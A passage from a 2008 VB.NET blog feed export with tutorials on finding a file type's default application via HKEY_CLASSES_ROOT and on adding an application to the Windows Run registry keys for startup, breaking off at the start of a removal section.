&lt;p&gt;When you are on the development and coding phase of the application, you usually have more or less code for debugging purpose. Debugging code is something that you must never leave in the final production code. And debug dumps are something that your customers should never see. Again, conditional compiling is an easier solution than maintaining multiple source codes for the same application.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/2106066221789995764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/2106066221789995764' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2106066221789995764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2106066221789995764'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/using-compiler-directives-with-vbnet.html' title='Using compiler directives with VB.NET'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-4873868702314590886</id><published>2008-09-19T05:33:00.001-07:00</published><updated>2008-09-19T06:11:14.799-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Default application"/><category scheme="http://www.blogger.com/atom/ns#" term="Registry"/><category scheme="http://www.blogger.com/atom/ns#" term="RegistryKey"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows Vista"/><title type='text'>Get default application in Windows XP or Vista with VB.NET</title><content type='html'>&lt;p&gt;When you double click a file, Windows Explorer opens it with associated default application. Windows Explorer determines current default application with file&#39;s extension and with information that is stored in the Windows registry. Obtaining the default application with VB.NET is not a difficult task. Default application can be found in both Windows XP and Windows Vista with the same VB.NET code.&lt;/p&gt;  &lt;p&gt;Windows stores known file extensions in HKEY_CLASSES_ROOT registry hive. So, the first thing is to check if file extension exists in the registry. If the file extension exists, it has a so called ProgID associated with it. For example, file extension &quot;.txt&quot; has a ProgID &quot;txtfile&quot;. Next step is to locate this ProgID registry key and check if it has a sub key &quot;\shell\open\command&quot;. This sub key contains finally the path and the name of the default application. In the case of &quot;txtfile&quot; registry key, the default application could be &quot;%SystemRoot%\system32\NOTEPAD.EXE %1&quot;. &lt;/p&gt;  &lt;p&gt;The VB.NET function below returns the name of the default application, if it exists. Additionally it returns a ready-to-execute string which can be used with VB.NET&#39;s Shell command. First parameter in the function is a parameter string for default application. Second parameter is the actual file extension we are searching for.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Return registered application by file&#39;s extension&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;ParamFileName&quot;&amp;gt;Parameter for ShellAppName&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;FileExtension&quot;&amp;gt;File extension&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;AppName&quot;&amp;gt;Returns application name if any&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;ShellAppName&quot;&amp;gt;Returns a string with application name and file name as its parameter&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;True if the default application for this file type was found&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;This function is Windows XP and Vista compatible&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; GetRegisteredApplication(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; ParamFileName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; FileExtension &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, _
 &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; AppName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; ShellAppName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; Return registered application by file&#39;s extension&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StrExt &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StrProgID &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StrExe &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; oHKCR &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey &lt;span class=&quot;rem&quot;&gt;&#39; HKEY_CLASSES_ROOT&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; oProgID &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; oOpenCmd &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempPos &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

 &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Add starting dot to extension&lt;/span&gt;
   StrExt = &lt;span class=&quot;str&quot;&gt;&quot;.&quot;&lt;/span&gt; &amp;amp; FileExtension
   &lt;span class=&quot;rem&quot;&gt;&#39; Get Programmatic Identifier for this extension&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
     oHKCR = Registry.ClassesRoot
     oProgID = oHKCR.OpenSubKey(StrExt)
     StrProgID = oProgID.GetValue(&lt;span class=&quot;kwrd&quot;&gt;Nothing&lt;/span&gt;).ToString
     oProgID.Close()
   &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt;
     &lt;span class=&quot;rem&quot;&gt;&#39; No ProgID, return false&lt;/span&gt;
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Get associated application&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
     oOpenCmd = oHKCR.OpenSubKey(StrProgID &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot;\shell\open\command&quot;&lt;/span&gt;)
     StrExe = oOpenCmd.GetValue(&lt;span class=&quot;kwrd&quot;&gt;Nothing&lt;/span&gt;).ToString
     oOpenCmd.Close()
   &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt;
     &lt;span class=&quot;rem&quot;&gt;&#39; Missing default application&lt;/span&gt;
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   TempPos = StrExe.IndexOf(&lt;span class=&quot;str&quot;&gt;&quot; %1&quot;&lt;/span&gt;)
   &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; TempPos &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
     &lt;span class=&quot;rem&quot;&gt;&#39; Replace %1 placeholder with ParamFileName&lt;/span&gt;
     StrExe = StrExe.Substring(0, TempPos)
     AppName = StrExe
     StrExe = StrExe &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot; &quot;&lt;/span&gt; &amp;amp; Convert.ToChar(34) &amp;amp; ParamFileName &amp;amp; Convert.ToChar(34)
     ShellAppName = StrExe
   &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
     &lt;span class=&quot;rem&quot;&gt;&#39; No %1 placeholder found, append ParamFileName&lt;/span&gt;
     AppName = StrExe
     ShellAppName = StrExe &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot; &quot;&lt;/span&gt; &amp;amp; Convert.ToChar(34) &amp;amp; ParamFileName &amp;amp; Convert.ToChar(34)
   &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;The function returns value True if the default application was found. If the function returns False, there was some error or some issue with registry permissions. In the latter case see &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.security.accesscontrol%28VS.80%29.aspx&quot;&gt;System.Security.AccessControl&lt;/a&gt; namespace. That namespace provides methods to handle permission issues and how to set registry permissions. &lt;/p&gt;

&lt;p&gt;To test this function, here&#39;s a code snippet for testing purpose. First create a new text file to C-drives root and name it &quot;test.txt&quot;. When you run this snippet, it opens &quot;test.txt&quot; file with Notepad and displays message box: &lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://lh5.ggpht.com/teemuhh/SNOcJu-X8RI/AAAAAAAAACg/O5Putz1jKzk/s1600-h/20081909_DefaultApplication%5B2%5D.jpg&quot;&gt;&lt;img style=&quot;border: 0px none ;&quot; alt=&quot;Default application for text files&quot; src=&quot;http://lh6.ggpht.com/teemuhh/SNOcJxbf3II/AAAAAAAAACk/S6k4knHjjlI/20081909_DefaultApplication_thumb.jpg?imgmax=800&quot; border=&quot;0&quot; width=&quot;244&quot; height=&quot;66&quot; /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&lt;img style=&quot;border: 0px none ;&quot; alt=&quot;Default application for text files&quot; src=&quot;http://picasaweb.google.fi/teemuhh/WindowsLiveWriter?authkey=q56AvsRFM_U#5247709681859162386&quot; border=&quot;0&quot; width=&quot;400&quot; height=&quot;103&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is, if you have Notepad as your default text editor.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; ApplicationName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; ShellApplicationName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; FileExtension &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; ParamFileName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;

ApplicationName = &lt;span class=&quot;str&quot;&gt;&quot;&quot;&lt;/span&gt;
ShellApplicationName = &lt;span class=&quot;str&quot;&gt;&quot;&quot;&lt;/span&gt;
FileExtension = &lt;span class=&quot;str&quot;&gt;&quot;txt&quot;&lt;/span&gt;
ParamFileName = &lt;span class=&quot;str&quot;&gt;&quot;C:\test.txt&quot;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; GetRegisteredApplication(ParamFileName, FileExtension, ApplicationName, ShellApplicationName) &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
 Shell(ShellApplicationName)
 MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&quot;Default application for the files of type &#39;&quot;&lt;/span&gt; &amp;amp; FileExtension &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot;&#39;&quot;&lt;/span&gt; &amp;amp; _
   &lt;span class=&quot;str&quot;&gt;&quot; is &#39;&quot;&lt;/span&gt; &amp;amp; ApplicationName &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot;&#39;&quot;&lt;/span&gt;, _
   &lt;span class=&quot;str&quot;&gt;&quot;Default Application&quot;&lt;/span&gt;, _
   MessageBoxButtons.OK, _
   MessageBoxIcon.Exclamation)
&lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
 MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&quot;No default application found for the files of type &#39;&quot;&lt;/span&gt; &amp;amp; FileExtension &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot;&#39;&quot;&lt;/span&gt;, _
   &lt;span class=&quot;str&quot;&gt;&quot;Default Application&quot;&lt;/span&gt;, _
  MessageBoxButtons.OK, _
  MessageBoxIcon.Exclamation)
&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; If&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;Final words of warning. Always be careful when handling registry with your application. I have tested and used this code, and it does only read from the registry. But I will not give any kind of warranty if your registry gets messed up. So backup your registry first or otherwise make sure that you can restore your system if something goes wrong. You use this code totally at your own risk!&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/4873868702314590886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/4873868702314590886' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/4873868702314590886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/4873868702314590886'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/get-default-application-in-windows-xp.html' title='Get default application in Windows XP or Vista with VB.NET'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/teemuhh/SNOcJxbf3II/AAAAAAAAACk/S6k4knHjjlI/s72-c/20081909_DefaultApplication_thumb.jpg?imgmax=800" height="72" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-7356184333712932973</id><published>2008-09-16T07:12:00.001-07:00</published><updated>2008-09-16T07:13:36.928-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Registry"/><category scheme="http://www.blogger.com/atom/ns#" term="RegistryKey"/><category scheme="http://www.blogger.com/atom/ns#" term="System.Security.AccessControl"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows Vista"/><title type='text'>Make VB.NET application to start up from registry</title><content type='html'>&lt;p&gt;There are basically two ways to start application when Windows starts. First and maybe the easiest way is to copy a shortcut to your application in Startup folder. Second way is to start up VB.NET application from the Windows registry.&lt;/p&gt;  &lt;p&gt;Some installer applications can do this for you. But if you want to give users the option not to start application when Windows starts, you have to deal application starting programmatically.&lt;/p&gt;  &lt;p&gt;Also, you have to make the decision if the application starts always when the Windows starts or if it starts only for the current user. The code below has a parameter which allows you to choose, which way the application starts.&lt;/p&gt;  &lt;p&gt;A few words of warning. Always be careful when changing registry with your application. I have tested and used the code below. But I will not give any kind of warranty if your registry gets messed up. So backup your registry first or otherwise make sure that you can restore your system if something goes wrong. You use this code totally at your own risk!&lt;/p&gt;  &lt;h4&gt;Start application from the registry&lt;/h4&gt;  &lt;p&gt;Starting your VB.NET application from the registry is done by adding it to either &lt;strong&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;/strong&gt; registry hive or &lt;span style=&quot;font-size:78%;&quot;&gt;&lt;strong&gt;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt;&lt;/span&gt; registry hive.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Imports&lt;/span&gt; Microsoft.Win32&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Installs an application to start from the registry when Windows starts&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;AppName&quot;&amp;gt;Application&#39;s name&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;AppPath&quot;&amp;gt;Full path to the application&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;InstallToLocalMachine&quot;&amp;gt;Install to LM, otherwise install to current user&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;True if successfully installed&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;Compatible with Windows XP and Vista&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; StartUpInstall(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; AppName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; AppPath &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, _
 &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; InstallToLocalMachine &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; Install to registry&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; If LM then uses HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; Otherwise uses HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; RegRoot &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; RegKey &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey

 &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; InstallToLocalMachine &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
     RegRoot = Microsoft.Win32.Registry.LocalMachine
     RegKey = RegRoot.OpenSubKey(&lt;span class=&quot;str&quot;&gt;&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot;&lt;/span&gt;, _
       RegistryKeyPermissionCheck.ReadWriteSubTree, _
       Security.AccessControl.RegistryRights.SetValue)
     RegKey.SetValue(AppName, AppPath, RegistryValueKind.&lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;)
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
     RegRoot = Microsoft.Win32.Registry.CurrentUser
     RegKey = RegRoot.OpenSubKey(&lt;span class=&quot;str&quot;&gt;&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot;&lt;/span&gt;, _
       RegistryKeyPermissionCheck.ReadWriteSubTree, _
       Security.AccessControl.RegistryRights.SetValue)
     RegKey.SetValue(AppName, AppPath, RegistryValueKind.&lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;)
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;If everything goes right, the function returns True. Otherwise operation failed. The most common reason for failure is inadequate permissions to modify the registry.&lt;/p&gt;

&lt;h4&gt;Removing application from registry&lt;/h4&gt;

&lt;p&gt;If you do not want to start the application from the registry it can be done simply by deleting application&#39;s entry from the registry.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Imports&lt;/span&gt; Microsoft.Win32&lt;/pre&gt;
